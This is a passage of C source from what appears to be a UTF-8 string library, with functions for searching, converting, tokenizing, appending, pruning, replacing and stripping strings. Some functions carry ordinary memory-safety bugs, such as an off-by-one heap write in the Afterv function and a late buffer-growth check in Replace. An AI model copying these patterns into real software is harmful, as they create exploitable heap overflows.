'\\t':case '\\n':\n                    break;\n                    default:\n                        return RF_FAILURE;\n                    break;\n                }\n            }\n        }// end of the exact string option\n        // success\n        return rfString_BytePosToCharPos(thisstr,bytepos,false);\n    }\n\n    // else ignore case matching\n    uint32_t i,j;\n    // if(cstr[0] >= 0x41 && cstr[0] <= 0x5a)\n    for(i=0;i<thisstr->byteLength; i ++)\n    {\n        // if i matches the start of the substring\n        for(j = 0; j < sstr->byteLength; j++)\n        {\n            // if the jth char is a big letter\n            if(sstr->bytes[j] >= 0x41 && sstr->bytes[j] <= 0x5a)\n            {\n                // no match\n                if(sstr->bytes[j] != thisstr->bytes[i+j] && sstr->bytes[j]+32 != thisstr->bytes[i+j])\n                    break;\n                // there is a match in the jth character so let's perform additional checks if needed\n                if(RF_BITFLAG_ON( options,RF_MATCH_WORD))\n                {\n                    // if it's the first substring character and if the string we search is not in it's beginning, check for EXACT string before\n                    if(j == 0 && i != 0)\n                    {\n                        switch(thisstr->bytes[i-1])\n                        {\n                            case ' ':case '\\t':case '\\n':\n                            break;\n                            default:\n                                return RF_FAILURE;\n                            break;\n                        }\n                    }\n                }// exact string check if ends\n            }\n            // small letter\n            else if(sstr->bytes[j] >= 0x61 && sstr->bytes[j] <= 0x7a)\n            {\n                // no match\n                if(sstr->bytes[j] != thisstr->bytes[i+j] && sstr->bytes[j]-32 != thisstr->bytes[i+j])\n                    break;\n                // there is a match in the jth character so let's perform additional checks if needed\n                if(RF_BITFLAG_ON(options,RF_MATCH_WORD))\n                {\n                    // if it's the first substring character and if the string we search is not in it's beginning, check for EXACT string before\n                    if(j == 0 && i != 0)\n                    {\n                        switch(thisstr->bytes[i-1])\n                        {\n                            case ' ':case '\\t':case '\\n':\n                            break;\n                            default:\n                                return RF_FAILURE;\n                            break;\n                        }\n                    }\n                }// exact string check if ends\n            }\n            // not a letter and no match\n            else if(sstr->bytes[j] != thisstr->bytes[i+j])\n                break;// break off the substring search loop\n\n            // if we get here and it's the last char of the substring we either found it or need to perform one last check for exact string\n            if(j == sstr->byteLength-1)\n            {\n                // only if the end of the string is not right after the substring\n                if( RF_BITFLAG_ON(options,RF_MATCH_WORD) && i+sstr->byteLength < thisstr->byteLength)\n                {\n                    switch(thisstr->bytes[i+sstr->byteLength])\n                    {\n                        case ' ':case '\\t':case '\\n':\n                        break;\n                        default:\n                            return RF_FAILURE;\n                        break;\n                    }\n                }// end of the exact string check\n                // succes\n                return rfString_BytePosToCharPos(thisstr,i,false);\n            }// end of it's the last char of the substring check\n        }// substring iteration ends\n    }// this string iteration ends\n    return RF_FAILURE;\n}\n\n// Returns the integer value of the string if and only if it contains only numbers. If it contains anything else the function fails.\nchar rfString_ToInt(void* str,int32_t* v)\n{\n    RF_String* thisstr = (RF_String*)str;\n    char* end;\n    // get the integer\n    *v = strtol ( thisstr->bytes, &end,10);\n\n// /This is the non-strict case. Takes the number out of the string no matter what else it has inside\n/*    // if we did get something\n    if(strlen(end) < this->length())\n        return true;\n*/\n// /This is the strict case, and the one we will go with. The non-strict case might be moved to its own function, if ever in the future\n    if(end[0] == '\\0')\n        return true;\n\n    // else false\n    return false;\n}\n\n// Returns the float value of a String\nint rfString_ToDouble(void* thisstrP,double* f)\n{\n    RF_String* str = (RF_String*)thisstrP;\n    *f = strtod(str->bytes,NULL);\n    // check the result\n    if(*f == 0.0)\n    {\n        // if it's zero and the string equals to zero then we are okay\n        if(rfString_Equal(str,RFS_(\"0\")) || rfString_Equal(str,RFS_(\"0.0\")))\n            return RF_SUCCESS;\n        // underflow error\n        if(errno == ERANGE)\n            return RE_STRING_TOFLOAT_UNDERFLOW;\n        // in any other case it's a conversion error\n        return RE_STRING_TOFLOAT;\n    }\n    // if the result is a HUGE_VAL and errno is set,the number is not representable by a double\n    if(*f == HUGE_VAL && errno == ERANGE)\n        return RE_STRING_TOFLOAT_RANGE;\n\n    // any other case success\n    return RF_SUCCESS;\n}\n\n// Returns a cstring version of the string.\nconst char* rfString_ToCstr(const void* str)\n{\n    RF_String* thisstr = (RF_String*)str;\n    return thisstr->bytes;\n}\n\n// Creates and returns an allocated copy of the given string\nRF_String* rfString_Copy_OUT(void* srcP)\n{\n    RF_String* src = (RF_String*)srcP;\n    // create the new string\n    RF_String* ret;\n    RF_MALLOC(ret,sizeof(RF_String));\n    // get the length\n    ret->byteLength = src->byteLength;\n    // copy the bytes\n    RF_MALLOC(ret->bytes,ret->byteLength+1);\n    memcpy(ret->bytes,src->bytes,ret->byteLength+1);\n    return ret;\n\n}\n// Copies all the contents of a string to another\nvoid rfString_Copy_IN(RF_String* dst,void* srcP)\n{\n    RF_String* src = (RF_String*)srcP;\n    // get the length\n    dst->byteLength = src->byteLength;\n    // copy the bytes\n    RF_MALLOC(dst->bytes,src->byteLength+1);\n    memcpy(dst->bytes,src->bytes,dst->byteLength+1);\n    return;\n\n}\n// Copies a certain number of characters from a string\nvoid rfString_Copy_chars(RF_String* dst,void* srcP,uint32_t charsN)\n{\n    uint32_t i = 0,bytePos;\n    RF_String* src = (RF_String*)srcP;\n\n    // find the byte position until which we need to copy\n    RF_STRING_ITERATE_START(src,i,bytePos)\n        if(i == charsN)\n            break;\n    RF_STRING_ITERATE_END(i,bytePos)\n    dst->byteLength = bytePos;\n    RF_MALLOC(dst->bytes,dst->byteLength+1);\n    memcpy(dst->bytes,src->bytes,dst->byteLength+1);\n    dst->bytes[dst->byteLength] = '\\0';// null terminate it\n}\n\n\n// Applies a limited version of sscanf after the specified substring\nchar i_rfString_ScanfAfter(void* str,void* afterstrP,const char* format,void* var)\n{\n    RF_String* thisstr = (RF_String*)str;\n    RF_String* afterstr = (RF_String*)afterstrP;\n    // return false if the substring is not found\n    char* found,*s;\n    if( (found = strstr(thisstr->bytes,afterstr->bytes)) ==0 )\n    {\n        return false;\n    }\n    // get a pointer to the start of the position where sscanf will be used\n    s = thisstr->bytes + (found-thisstr->bytes+afterstr->byteLength);\n\n    // use sscanf\n    if(sscanf(s,format,var) <=0)\n    {\n        return false;\n    }\n    return true;\n}\n\n// Counts how many times a substring s occurs inside the string\nint32_t i_rfString_Count(void* str,void* sstr2,const char* optionsP)\n{\n    RF_String* thisstr = (RF_String*)str;\n    RF_String* sstr = (RF_String*)sstr2;\n    char options = *optionsP;\n    int32_t index = 0;\n    int32_t move;\n    int32_t n = 0;\n\n    // as long as the substring is found in the string\n    while ((move = rfString_FindBytePos(thisstr,sstr,options)) != RF_FAILURE)\n    {\n        move+= sstr->byteLength;\n        // proceed searching inside the string and also increase the counter\n        n++;\n        thisstr->bytes+=move;\n        index +=move;\n        thisstr->byteLength -=move;\n    }\n\n    // return string to its original state and return the number of occurences, also returns 0 if not found\n    thisstr->bytes-=index;\n    thisstr->byteLength += index;\n    // success\n    return n;\n}\n\n// Tokenizes the given string. Separates it into @c tokensN depending on how many substrings can be created from the @c sep separatior and stores them\n// into the Array of RF_String* that should be passed to the function\ni_DECLIMEX_ char rfString_Tokenize(void* str,char* sep,uint32_t* tokensN,RF_String** tokens)\n{\n    RF_String* thisstr = (RF_String*)str;\n    uint32_t i;\n    // first find the occurences of the separator, and then the number of tokens\n    *tokensN = rfString_Count(thisstr,RFS_(sep),0)+1;\n    // error checking\n    if(*tokensN == 0)\n        return false;\n\n    // allocate the tokens\n    RF_MALLOC(*tokens,sizeof(RF_String) *(*tokensN));\n    // find the length of the separator\n    uint32_t sepLen = strlen(sep);\n    char* s,*e;\n    s = thisstr->bytes;\n    for(i = 0; i < (*tokensN)-1; i ++)\n    {\n        // find each substring\n        e = strstr(s,sep);\n        (*tokens)[i].byteLength = e-s;\n        RF_MALLOC((*tokens)[i].bytes,(*tokens)[i].byteLength+1);\n        // put in the data\n        strncpy((*tokens)[i].bytes,s,(*tokens)[i].byteLength);\n        // null terminate\n        (*tokens)[i].bytes[(*tokens)[i].byteLength] = '\\0';\n\n        // prepare for next sub-string\n        s = e+sepLen;\n\n    }\n    // /make sure that if it's the last substring we change strategy\n    (*tokens)[i].byteLength = strlen(s);\n    RF_MALLOC((*tokens)[i].bytes,(*tokens)[i].byteLength+1);\n    // put in the data\n    strncpy((*tokens)[i].bytes,s,(*tokens)[i].byteLength);\n    // null terminate\n    (*tokens)[i].bytes[(*tokens)[i].byteLength] = '\\0';\n\n    // success\n    return true;\n}\n// Initializes the given string as the first substring existing between the left and right parameter substrings.\nchar i_rfString_Between(void* thisstrP,void* lstrP,void* rstrP,RF_String* result,const char* optionsP)\n{\n    int32_t start,end;\n    RF_String* thisstr = (RF_String*)thisstrP;\n    RF_String* lstr = (RF_String*)lstrP;\n    RF_String* rstr = (RF_String*)rstrP;\n    char options = *optionsP;\n    RF_String temp;\n    // find the left substring\n    if( (start = rfString_FindBytePos(thisstr,lstr,options))== RF_FAILURE)\n    {\n        return false;\n    }\n    // get what is after it\n    rfString_After(thisstr,lstr,&temp,options);\n    // find the right substring in the remaining part\n    if( (end = rfString_FindBytePos(&temp,rstr,options))== RF_FAILURE)\n    {\n        return false;\n    }\n    // free temp string\n    rfString_Deinit(&temp);\n    // initialize the string to return\n    result->byteLength = end;\n    RF_MALLOC(result->bytes,result->byteLength+1);\n    memcpy(result->bytes,thisstr->bytes+start+lstr->byteLength,result->byteLength+1);\n    result->bytes[end]= '\\0';\n    // success\n    return true;\n}\n\n// Initializes the given string as the substring from the start until any of the given Strings are found.\n#ifndef RF_OPTION_DEFAULT_ARGUMENTS\nchar rfString_Beforev(void* thisstrP,RF_String* result,const char* optionsP,const unsigned char* parNP, ...)\n#else\nchar i_rfString_Beforev(void* thisstrP,RF_String* result,const char* optionsP,const unsigned char* parNP, ...)\n#endif\n{\n    RF_String* thisstr = (RF_String*)thisstrP;\n    RF_String* s;\n    char options = *optionsP;\n    unsigned char parN = *parNP;\n    int32_t i,minPos,thisPos;\n    // will keep the argument list\n    va_list argList;\n    // get the parameter characters\n    va_start(argList,parNP);\n\n    minPos = 9999999;\n    for(i = 0; i < parN; i++)\n    {\n        s = (RF_String*) va_arg(argList,RF_String*);\n        if( (thisPos= rfString_FindBytePos(thisstr,s,options))!= RF_FAILURE)\n        {\n            if(thisPos < minPos)\n                minPos = thisPos;\n        }\n    }\n    va_end(argList);\n\n    // if it is not found\n    if(minPos == 9999999)\n    {\n        return false;\n    }\n    // if it is found initialize the substring\n    result->byteLength = minPos;\n    RF_MALLOC(result->bytes,minPos+1);\n    memcpy(result->bytes,thisstr->bytes,minPos);\n    result->bytes[minPos] = '\\0';\n    // success\n    return true;\n}\n\n// Initializes the given string as the substring from the start until the given string is found\nchar i_rfString_Before(void* thisstrP,void* sstrP,RF_String* result,const char* optionsP)\n{\n    RF_String* thisstr = (RF_String*)thisstrP;\n    RF_String* sstr = (RF_String*) sstrP;\n    char options = *optionsP;\n    int32_t ret;\n    // find the substring\n    if( (ret = rfString_FindBytePos(thisstr,sstr,options)) == RF_FAILURE)\n    {\n        return false;\n    }\n    // if it is found get the result initialize the substring\n    result->byteLength = ret;\n    RF_MALLOC(result->bytes,result->byteLength+1);\n    memcpy(result->bytes,thisstr->bytes,result->byteLength);\n    result->bytes[result->byteLength] = '\\0';\n    // success\n    return true;\n}\n\n\n// Initializes the given String with the substring located after (and not including) the after substring inside the parameter string. If the substring is not located the function returns false.\nchar i_rfString_After(void* thisstrP,void* afterP,RF_String* out,const char* optionsP)\n{\n    RF_String* thisstr = (RF_String*)thisstrP;\n    RF_String* after = (RF_String*)afterP;\n    char options = *optionsP;\n    int32_t bytePos;\n    // check for substring existence\n    if( (bytePos = rfString_FindBytePos(thisstr,after,options)) == RF_FAILURE)\n    {\n        return false;\n    }\n    // done so let's get it. Notice the use of the non-checking initialization\n    rfString_Init_nc(out,thisstr->bytes+bytePos+after->byteLength);\n    // success\n    return true;\n}\n\n\n// Initialize a string after the first of the given substrings found\n#ifndef RF_OPTION_DEFAULT_ARGUMENTS\nchar rfString_Afterv(void* thisstrP,RF_String* result,const char* optionsP,const unsigned char* parNP,...)\n#else\nchar i_rfString_Afterv(void* thisstrP,RF_String* result,const char* optionsP,const unsigned char* parNP,...)\n#endif\n{\n    RF_String* thisstr = (RF_String*)thisstrP;\n    RF_String* s;\n    char options = *optionsP;\n    unsigned char parN = *parNP;\n    int32_t i,minPos,thisPos;\n    uint32_t minPosLength;\n    // will keep the argument list\n    va_list argList;\n    // get the parameter characters\n    va_start(argList,parNP);\n\n    minPos = 9999999;\n    for(i = 0; i < parN; i++)\n    {\n        s = (RF_String*) va_arg(argList,RF_String*);\n        if( (thisPos= rfString_FindBytePos(thisstr,s,options))!= RF_FAILURE)\n        {\n            if(thisPos < minPos)\n            {\n                minPos = thisPos;\n                minPosLength = s->byteLength;\n            }\n        }\n    }\n    va_end(argList);\n    // if it is not found\n    if(minPos == 9999999)\n    {\n        return false;\n    }\n    // if it is found initialize the substring\n    minPos += minPosLength;// go after the found substring\n    result->byteLength = thisstr->byteLength-minPos;\n    RF_MALLOC(result->bytes,result->byteLength);\n    memcpy(result->bytes,thisstr->bytes+minPos,result->byteLength);\n    result->bytes[result->byteLength] = '\\0';\n    // success\n    return true;\n}\n\n/*------------------------------------------------------------------------ RF_String manipulation functions-------------------------------------------------------------------------------*/\n\n\n// Appends the parameter String to this one\nvoid i_rfString_Append(RF_String* thisstr,void* otherP)\n{\n    RF_String* other = (RF_String*)otherP;\n    // /@note Here if a null addition is given lots of actions are done but the result is safe and the same string as the one entered.\n    // /A check here would result in an additional check for every appending so I decided against it\n    // calculate the new length\n    thisstr->byteLength +=other->byteLength;\n    // reallocate this string to fit the new addition\n    RF_REALLOC(thisstr->bytes,char,thisstr->byteLength+1);\n    // add the string to this one\n    strncat(thisstr->bytes,other->bytes,other->byteLength);\n}\n\n// Appends an integer to the string\nvoid rfString_Append_i(RF_String* thisstr,const int32_t i)\n{\n    // create a new buffer for the string big enough to fit any number plus the original string\n    char* buff;\n    RF_MALLOC(buff,thisstr->byteLength+15);// max uint32_t is 4,294,967,295 in most environment so 12 chars will certainly fit it\n    // put the int32_t inside the string\n    sprintf(buff,\"%s%i\",thisstr->bytes,i);\n    // free the previous c string\n    free(thisstr->bytes);\n    // point the string pointer to the new string\n    thisstr->bytes = buff;\n    thisstr->byteLength = strlen(thisstr->bytes);\n}\n// Appends a float to the string. <b>Can't be used with RF_StringX</b>\nvoid rfString_Append_f(RF_String* thisstr,const float f)\n{\n    // a temporary buffer to hold the float and the string\n    char* buff;\n    RF_MALLOC(buff,thisstr->byteLength+64);\n    // put the float inside the string\n    sprintf(buff,\"%s%f\",thisstr->bytes,f);\n    // free the previous c string\n    free(thisstr->bytes);\n    // point the string pointer to the new string\n    thisstr->bytes = buff;\n    thisstr->byteLength = strlen(thisstr->bytes);\n}\n\n// Prepends the parameter String to this string\nvoid i_rfString_Prepend(RF_String* thisstr,void* otherP)\n{\n    RF_String* other = (RF_String*)otherP;\n    uint32_t size;\n    int32_t i;// is not unsigned since it goes to -1 in the loop\n    // keeep the original byte size of the string\n    size = thisstr->byteLength;\n    // calculate the new lengths\n    thisstr->byteLength += other->byteLength;\n    // reallocate this string to fit the new addition\n    RF_REALLOC(thisstr->bytes,char,thisstr->byteLength+1);\n    // move the pre-existing string to the end of the buffer, by dislocating each byte by cstrlen\n    for(i =size; i >=0 ; i--)\n        thisstr->bytes[i+other->byteLength] = thisstr->bytes[i];\n    // and now add the new string to the start\n    memcpy(thisstr->bytes,other->bytes,other->byteLength);\n}\n\n// Removes all of the specifed string occurences from this String matching case or not, DOES NOT reallocate buffer size.\nchar i_rfString_Remove(void* thisstrP,void* rstrP,uint32_t* numberP,const char* optionsP)\n{\n    RF_String* thisstr = (RF_String*)thisstrP;\n    RF_String* rstr = (RF_String*)rstrP;\n    char options = *optionsP;\n    uint32_t number = *numberP;\n    uint32_t i,count,occurences=0;\n    int32_t bytePos;\n    char found = false;\n    // as long as we keep finding rstr in the string keep removing it\n    do\n    {   // if the substring is not found\n        if( (bytePos = rfString_FindBytePos(thisstr,rstr,options)) == RF_FAILURE)\n        {\n            // if we have not even found it once , we fail\n            if(found == false)\n            {\n                return false;\n            }\n            else // else we are done\n                break;\n        }\n\n        // substring found\n        found = true;\n        // move all of the string a position back\n        count = 0;\n        for(i = bytePos; i <=thisstr->byteLength; i ++)\n        {\n            thisstr->bytes[i] = thisstr->bytes[i+rstr->byteLength];\n            count++;\n        }\n        // now change the byte length\n        thisstr->byteLength -= rstr->byteLength;\n        // count the number of occurences and if we reached the required amount, stop\n        occurences++;\n        if(occurences == number)\n            break;\n    }while(bytePos != RF_FAILURE);\n    // succcess\n    return true;\n}\n\n// Removes all of the characters of the string except those specified\nvoid i_rfString_KeepOnly(void* thisstrP,void* keepstrP)\n{\n    uint32_t keepLength,i,j,charValue,temp;\n    uint32_t *keepChars;\n    RF_String* thisstr = (RF_String*)thisstrP;\n    RF_String* keepstr = (RF_String*)keepstrP;\n    char exists,charBLength;\n    // first let's get all of the characters of the keep string in an array\n    i=0;\n    keepLength = rfString_Length(keepstr);\n    RF_MALLOC(keepChars,4*keepLength);\n    rfString_Iterate_Start(keepstr,i,charValue)\n        keepChars[i] = charValue;\n    rfString_Iterate_End(i)\n    // now iterate every character of this string\n    i=0;\n    rfString_Iterate_Start(thisstr,i,charValue)\n        // for every character check if it exists in the keep str\n        exists = false;\n        for(j=0;j<keepLength; j++)\n        {\n            if(keepChars[j] == charValue)\n                exists = true;\n        }\n        // if it does not exist, move the string back to cover it so that it effectively gets deleted\n        if(exists == false)\n        {\n            charBLength = rfUTF8_FromCodepoint(charValue,&temp);\n            // this is kind of a non-clean way to do it. the rfString_Iterate_Start macro internally uses a byteIndex_ variable\n            // we use that here to determine the current byteIndex_ of the string in the iteration and move the string backs\n            memmove(thisstr->bytes+byteIndex_,thisstr->bytes+byteIndex_+charBLength,thisstr->byteLength-byteIndex_+charBLength);\n            thisstr->byteLength-=charBLength;\n            continue;// by contiuing here we make sure that the current string position won't be moved to assure that we also check the newly move characters\n        }\n    rfString_Iterate_End(i)\n    // before returning free the keep string's character array\n    free(keepChars);\n}\n\n// Removes the first n characters from the start of the string\nchar rfString_PruneStart(void* thisstrP,uint32_t n)\n{\n    RF_String* thisstr = (RF_String*)thisstrP;\n    // iterate the characters of the string\n    uint32_t i;\n    uint32_t length = 0;\n    unsigned nBytePos = 0;\n    char found = false;\n    RF_STRING_ITERATE_START(thisstr,length,i);\n        // if we reach the number of characters passed as a parameter, note it\n        if(length == n)\n        {\n            // remember that now i is the byte position we need\n            nBytePos = i;\n            found = true;\n            break;\n        }\n    RF_STRING_ITERATE_END(length,i)\n\n    // if the string does not have n chars to remove it becomes an empty string and we return failure\n    if(found == false)\n    {\n        thisstr->bytes[0] = '\\0';\n        thisstr->byteLength = 0;\n        return false;\n    }\n\n    // move the string back to cover the empty places.reallocation here would be an overkill, everything will be freed together when the string gets freed\n    for(i =0; i < thisstr->byteLength-nBytePos+1;i++ )\n        thisstr->bytes[i] = thisstr->bytes[i+nBytePos];\n\n    // get the new bytelength\n    thisstr->byteLength -= nBytePos;\n\n    return true;\n}\n\n// Removes the last n characters from the end of the string\nchar rfString_PruneEnd(void* thisstrP,uint32_t n)\n{\n    RF_String* thisstr = (RF_String*)thisstrP;\n    // start the iteration of the characters from the end of the string\n    int32_t nBytePos = -1;\n    uint32_t length,i;\n    RF_STRING_ITERATEB_START(thisstr,length,i)\n        // if we found the requested number of characters from the end of the string\n        if(length == n)\n        {\n            // remember that now i is the byte position we need\n            nBytePos = i;\n            break;\n        }\n    RF_STRING_ITERATEB_END(length,i)\n\n    // if the string does not have n chars to remove it becomes an empty string and we return failure\n    if(nBytePos == -1)\n    {\n        thisstr->bytes[0] = '\\0';\n        return false;\n    }\n\n    // just set the end of string character characters back, reallocation here would be an overkill, everything will be freed together when the string gets freed\n    thisstr->bytes[nBytePos] = '\\0';\n    // and also set the new byte length\n    thisstr->byteLength -= (thisstr->byteLength - nBytePos);\n    // success\n    return true;\n}\n\n// Removes n characters from the position p of the string counting backwards. If there is no space to do so, nothing is done and returns false.\nchar rfString_PruneMiddleB(void* thisstrP,uint32_t p,uint32_t n)\n{\n    RF_String* thisstr = (RF_String*)thisstrP;\n    // if we ask to remove more characters from the position that it would be possible do nothign and return false\n    if(n>p+1)\n        return false;\n\n    // iterate the characters of the string\n    uint32_t j,i,length;\n    int32_t pBytePos,nBytePos;\n    pBytePos = nBytePos = -1;\n    RF_STRING_ITERATE_START(thisstr,length,i)\n        // if we reach the number of characters passed as a parameter, note it\n        if(length == p+1)\n        {\n            // we search for p+1  because we want to include all of the p character\n            pBytePos = i;\n            // also break since we don't care after position p\n            break;\n        }\n        if(length == p-n+1)// +1 is to make sure that indexing works from 0\n            nBytePos = i;\n\n    RF_STRING_ITERATE_END(length,i)\n\n    // if the position was not found in the string do nothing\n    if(pBytePos == -1 || nBytePos == -1)\n        return false;\n\n    // move the bytes in the buffer to remove the requested characters\n    for(i=nBytePos,j=0;j<= thisstr->byteLength-pBytePos+1; i ++,j++) // here +2 is for (+1 for pbytePos to go to the start of pth character) (+1 for the byteLength to include the null termination character)\n    {\n        thisstr->bytes[i] = thisstr->bytes[pBytePos+j];\n    }\n\n    // find the new byte length\n    thisstr->byteLength -= (nBytePos - pBytePos);\n\n    return true;\n}\n\n// Removes n characters from the position p of the string counting forwards. If there is no space, nothing is done and returns false.\nchar rfString_PruneMiddleF(void* thisstrP,uint32_t p,uint32_t n)\n{\n    RF_String* thisstr = (RF_String*)thisstrP;\n    // iterate the characters of the string\n    uint32_t j,i,length;\n    int32_t pBytePos,nBytePos;\n    pBytePos = nBytePos = -1;\n    RF_STRING_ITERATE_START(thisstr,length,i)\n        // if we reach the number of characters passed as a parameter, note it\n        if(length == p)\n            pBytePos = i;\n\n        if(length == p+n)\n        {\n            nBytePos = i;\n            break;// since we got all the data we needed\n        }\n\n    RF_STRING_ITERATE_END(length,i)\n\n    // if the position was not found in the string do nothing\n    if(pBytePos == -1 )\n        return false;\n\n    // if we did not find the byte position of p+n then we remove everything from pBytePos until the end of the string\n    if(nBytePos == -1)\n    {\n        thisstr->bytes[pBytePos] = '\\0';\n        thisstr->byteLength -= (thisstr->byteLength-pBytePos);\n        return true;\n    }\n\n    // move the bytes in the buffer to remove the requested characters\n    for(i=pBytePos,j=0;j<= thisstr->byteLength-nBytePos+1; i ++,j++) // here +2 is for (+1 for pbytePos to go to the start of pth character) (+1 for the byteLength to include the null termination character)\n    {\n        thisstr->bytes[i] = thisstr->bytes[nBytePos+j];\n    }\n\n    // find the new byte length\n    thisstr->byteLength -= (nBytePos - pBytePos);\n    return true;\n}\n\n// Replaces all of the specified sstr substring from the String with rstr and reallocates size, unless the new size is smaller\nchar i_rfString_Replace(RF_String* thisstr,void* sstrP,void* rstrP,const uint32_t* numP,const char* optionsP)\n{\n    RF_String* sstr = (RF_String*)sstrP;\n    RF_String* rstr = (RF_String*)rstrP;\n    char options = *optionsP;\n    uint32_t num = *numP;\n    RF_StringX temp;// just a temporary string for finding the occurences\n    // will keep the number of found instances of the substring\n    uint32_t foundN = 0;\n    // will keep the number of given instances to find\n    uint32_t number = num;\n    uint32_t diff,i,j;\n    // if the substring string is not even found return false\n    if(rfString_FindBytePos(thisstr,sstr,options) == RF_FAILURE)\n    {\n        return false;\n    }\n    // create a buffer that will keep the byte positions\n    uint32_t bSize = 50;\n    int32_t * bytePositions;\n    RF_MALLOC(bytePositions,bSize*sizeof(int32_t));\n    // if the given num is 0 just make sure we replace all\n    if(number == 0)\n        number = 999999;// max number of occurences\n\n    // find how many occurences exist\n    rfStringX_FromString_IN(&temp,thisstr);\n    while( (bytePositions[foundN] = rfString_FindBytePos(&temp,sstr,options))  != RF_FAILURE)\n    {\n        int32_t move = bytePositions[foundN] + sstr->byteLength;\n        bytePositions[foundN] = bytePositions[foundN]+temp.bIndex;\n        temp.bIndex += move;\n        temp.bytes += move;\n        temp.byteLength -= move;\n        foundN++;\n        // if buffer is in danger of overflow realloc it\n        if(foundN > bSize)\n        {\n            bSize *=2;\n            RF_REALLOC(bytePositions,int32_t,bSize);\n        }\n        // if we found the required number of occurences break;\n        if(foundN >= number)\n            break;\n    }\n    rfStringX_Deinit(&temp);\n    // make sure that the number of occurence to replace do not exceed the actual number of occurences\n    if(number > foundN)\n        number = foundN;\n    // act depending on the size difference of rstr and sstr\n    if(rstr->byteLength > sstr->byteLength) // replace string is bigger than the removed one\n    {\n        int32_t orSize,nSize;\n\n        diff = rstr->byteLength - sstr->byteLength;\n        // will keep the original size in bytes\n        orSize = thisstr->byteLength +1;\n        // reallocate the string to fit the new bigger size\n        nSize= orSize + number*diff;\n        RF_REALLOC(thisstr->bytes,char,nSize)\n        // now replace all the substrings one by one\n        for(i = 0; i < number; i ++)\n        {\n            // move all of the contents of the string to fit the replacement\n            for(j =orSize+diff-1; j > bytePositions[i]+sstr->byteLength; j -- )\n                thisstr->bytes[j] = thisstr->bytes[j-diff];\n            // copy in the replacement\n            strncpy(thisstr->bytes+bytePositions[i],rstr->bytes,rstr->byteLength);\n            // also increase the original size (since now we moved the whole string by one replacement)\n            orSize += diff;\n            // also increase all the subsequent found byte positions since there is a change of string size\n            for(j = i+1; j < number; j ++)\n                bytePositions[j] = bytePositions[j]+diff;\n\n        }\n        // finally let's keep the new byte length\n        thisstr->byteLength = nSize-1;\n    }\n    else if( rstr->byteLength < sstr->byteLength) // replace string is smaller than the removed one\n    {\n        // get the differenc in byte length of removed substring and replace string\n        diff = sstr->byteLength-rstr->byteLength;\n\n        // now replace all the substrings one by one\n        for(i =0; i < number; i ++)\n        {\n            // copy in the replacement\n            strncpy(thisstr->bytes+bytePositions[i],rstr->bytes,rstr->byteLength);\n            // move all of the contents of the string to fit the replacement\n            for(j =bytePositions[i]+rstr->byteLength; j < thisstr->byteLength; j ++ )\n                thisstr->bytes[j] = thisstr->bytes[j+diff];\n            // also decrease all the subsequent found byte positions since there is a change of string size\n            for(j = i+1; j < number; j ++)\n                bytePositions[j] = bytePositions[j]-diff;\n        }\n        // finally let's keep the new byte length\n        thisstr->byteLength -= diff*number;\n        // just note that reallocating downwards is not necessary\n    }\n    else // replace and remove strings are equal\n    {\n        for(i = 0; i < number; i ++)\n            strncpy(thisstr->bytes+bytePositions[i],rstr->bytes,rstr->byteLength);\n    }\n    free(bytePositions);\n    // success\n    return true;\n}\n\n// Removes all characters of a substring only from the start of the String\nchar i_rfString_StripStart(void* thisstrP,void* subP)\n{\n    RF_String* thisstr = (RF_String*) thisstrP;\n    RF_String*sub = (RF_String*) subP;\n    char ret = false,noMatch;\n    uint32_t charValue,i = 0,*subValues,j,subLength,bytePos;\n\n    // firstly get all of the characters of the substring in an array\n    subLength = rfString_Length(sub);\n    RF_MALLOC(subValues,4*subLength)\n    rfString_Iterate_Start(sub,i,charValue)\n    subValues[i] = charValue;\n    rfString_Iterate_End(i)\n\n    // iterate thisstring from the beginning\n    i = 0;\n    RF_STRING_ITERATE_START(thisstr,i,bytePos)\n        noMatch = true;\n        // for every substring character\n        for(j = 0;j < subLength; j++)\n        {\n            // if we got a match\n            if(rfString_BytePosToCodePoint(thisstr,bytePos) == subValues[j])\n            {\n                ret = true;\n                noMatch = false;\n                break;\n            }\n        }\n        // if we get out of iterating the substring without having found a match, we get out of the iteration in general\n        if(noMatch)\n            break;\n    RF_STRING_ITERATE_END(i,bytePos)\n\n    // if we had any match\n    if(ret == true)\n    {\n        // remove the characters\n        for(i =0; i < thisstr->byteLength-bytePos+1;i++ )\n            thisstr->bytes[i] = thisstr->bytes[i+bytePos];\n        // also change bytelength\n        thisstr->byteLength -= bytePos;\n    }\n    // free stuff and return\n    free(subValues);\n    return ret;\n}\n\n// Removes all characters of a substring starting from the end of the String\nchar i_rfString_StripEnd(void* thisstrP,void* subP)\n{\n    RF_String* thisstr = (RF_String*) thisstrP;\n    RF_String*sub = (RF_String*) subP;\n    char ret = false,noMatch;\n    uint32_t charValue,i = 0,*subValues,j,subLength,bytePos,lastBytePos,testity;\n\n    // firstly get all of the characters of the substring in an array\n    subLength = rfString_Length(sub);\n    RF_MALLOC(subValues,4*subLength)\n    rfString_Iterate_Start(sub,i,charValue)\n    subValues[i] = charValue;\n    rfString_Iterate_End(i)\n\n    // iterate thisstring from the end\n    i = 0;\n    RF_STRING_ITERATEB_START(thisstr,i,bytePos)\n        noMatch = true;\n        // for every substring character\n        for(j = 0;j < subLength; j++)\n        {\n            // if we got a match\n            if((testity=rfString_BytePosToCodePoint(thisstr,bytePos)) == subValues[j])\n            {\n                ret = true;\n                noMatch = false;\n                lastBytePos = bytePos;\n                break;\n            }\n        }\n        // if we get out of iterating the substring without having found a match, we get out of the iteration in general\n        if(noMatch)\n            break;\n    RF_STRING_ITERATEB_END(i,bytePos)\n\n    // if we had any match\n    if(ret == true)\n    {\n        // just set the end of string there\n        thisstr->bytes[lastBytePos] = '\\0';\n        // and also set the new byte length\n        thisstr->byteLength -= (thisstr->byteLength - lastBytePos);\n    }\n\n    // free stuff and return\n    free(subValues);\n    return ret;\n}\n\n// Removes all characters of a substring from both ends of the given String\nchar i_rfString_Strip(void* thisstrP,void* subP)\n{\n    char res1 = rfString_StripStart(thisstrP,subP);\n    char res2 = rfString_StripEnd(thisstrP,subP);\n    return res1|res2;\n}\n\n\n/*------------------------------------------------------------------------ RF_String File I/O functions-------------------------------------------------------------------------------*/\n\n// Allocates and returns a string from file parsing. The file's encoding must be UTF-8.If for some reason (like EOF reached) no string can be read then null is returned\nRF_String* rfString_Create_fUTF8(FILE* f, char* eof)\n{\n    RF_String* ret;\n    RF_MALLOC(ret,sizeof(RF_String));\n    if(rfString_Init_fUTF8(ret,f,eof) < 0)\n    {\n        free(ret);\n        return 0;\n    }\n    return ret;\n}\n// Initializes a string from file parsing. The file's encoding must be 